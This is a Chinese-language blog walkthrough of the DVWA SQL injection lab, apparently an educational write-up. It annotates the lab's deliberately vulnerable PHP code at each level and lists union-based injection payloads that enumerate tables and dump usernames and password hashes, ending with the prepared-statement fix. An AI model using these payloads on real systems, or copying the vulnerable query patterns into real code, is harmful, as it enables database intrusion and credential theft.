DVWA-SQL Injection(SQL注入)

sql注入是典型、常见的Web漏洞之一,现在在网络中也可能存在,不过大多数为SQL盲注
攻击者通过恶意的SQL语句来破坏SQL查询语句,达到数据库泄露的目的

LOW

审计源码

<?php
// 判断是否提交
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // 获取传入的 id
    $id = $_REQUEST[ 'id' ];
    // switch case 语句,类似于if elif else语句
    // 判断数据库类型
    switch ($_DVWA['SQLI_DB']) {
        // mysql数据库
        case MYSQL:
            // 定义sql语句,在 $id 左右加入了 '' ,代表这是一个字符串类型的注入
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            // 进行数据库查询
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // 从结果集中取得一行作为关联数组
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // 获取 first_name 和 last_name 字段内容
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // 打印用户信息
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        // sqlite数据库
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

通过观察,只是判断了服务器的数据库,没有对我们传入的ID进行一些过滤,可以直接进行SQL注入

union 联合查询注入

判断注入类型

使用1或者1a来进行判断,如果是数字类型,1a就会报错
http://172.19.31.9/dvwa/vulnerabilities/sqli/?id=1a&Submit=Submit#

1a正常执行,可以看出是字符型的,需要我们输入'进行闭合
构造闭合id=1'#

正常回显

order by 判断字段数

1' order by 1#

正常执行
在输入1' order by 3#时,进行了报错

那么就是有两个字段数

union select 1,2查看回显字段

1' union select 1,2 #

这里成功回显了我们select 1,2的值,也显示了上一个注释的语句的输出,可以输入
-1' union select 1,2 #,-1让前面的语句报错,只显示了后面的查询内容

database()获取当前数据库

-1' union select user(),version()#

回显了当前数据库的用户、数据库版本号
再次使用database()、@@datadir,获取数据库目录和当前数据库名
-1' union select @@datadir,database()#

得到当前数据库名为dvwa

获取dvwa数据库中的表

-1' union select table_name,2 from information_schema.tables where table_schema=database()#

发现报错,这里是字段列的编码格式不一样,只需要把table_namehex()函数包裹起来,因为mysql是认识十六进制的
-1' union select hex(table_name),2 from information_schema.tables where table_schema=database()#

First name列中,显示了两次的数据,代表有两个数据库,将其中的十六进制解码得到
使用HackBar解码后得到6775657374626F6F6B的值为guestbook,另一个是users

有时候其他的靶场只能回显一段数据,不像现在一样回显两段数据,可以使用group_concat,将每行的数据使用,隔开进行显示
-1' union select group_concat(hex(table_name)),2 from information_schema.tables where table_schema=database()#

这样就显示了一段数据

获取users表中的字段名

-1' union select column_name,2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#
查询数据库中字段的名称,where用筛选到dvwa数据库中的users表,database()执行转换为dvwa,mysql可以读取十六进制,0x7573657273users
查询报错

跟上次一样,继续使用hex()进行转换,这里我也加上了group_concat函数
-1' union select group_concat(hex(column_name)),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#

可以看到这里显示了很多字段名,一个一个爆破的到重要的字段名usernamepassword

查询 username,password字段的内容

-1' union select user,password from users#

成功获取数据库的密码,当然这里也可以使用hex()函数和group_concat()函数
这样就通过了

Medium

审计源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // 获取传入的 id
    $id = $_POST[ 'id' ];
    // mysqli_real_escape_string对 \n ' " 等字符进行的转义
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    // 判断数据库类型
    switch ($_DVWA['SQLI_DB']) {
        // mysql数据库
        case MYSQL:
            // id 没有价格引号,是一个数字型的sql注入
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // 获取查询中 first_name 和 last_name 字段的内容
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

id变为了POST传参的方式,使用了mysqli_real_escape_string()函数对id进行了转义,并且做了一个选择,想通过这个来限制用户的输入

使用HackBar传参id=1a报错

可以判断这是一个数字行的注入
数字型的sql注入不用进行闭合
order by查看字段数量

和上一关一样,order by 3 报错,所有有 2 个字段
后续操作和LOW级别一致,只是不用使用'或者"进行闭合还有使用#注释

High

审计源码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

这里的代码和LOW可以说是没有太大的区别了,只不过是通过session获取的ID值
一样的绕过方法1'#

Impossible

审计源码

 
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // 获取user_token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取 id 值
    $id = $_GET[ 'id' ];

    // 判断 id 传入的是否为数字
    if(is_numeric( $id )) {
        // 将 id 转换为字符串
        $id = intval ($id);
        // 判断数据库类型
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // 引入了PDO抽象成技术
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // 获取 first_name 和 last_name 字段
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // 打印字段内容
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            // SQLITE数据库
            case SQLITE:
                global $sqlite_db_connection;
                // 一样的方法
                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // 获取 first_name 和 last_name 字段的内容
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // 打印字段内容
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// 生成user_token
generateSessionToken();

?>

这里首先会判断传入的ID是否为数字,然后又将ID转换为了字符串类型,使用PDO方法连接数据库,然我们没机可乘

posted @ 2022-05-30 16:41  Junglezt  阅读(190)  评论(0编辑  收藏  举报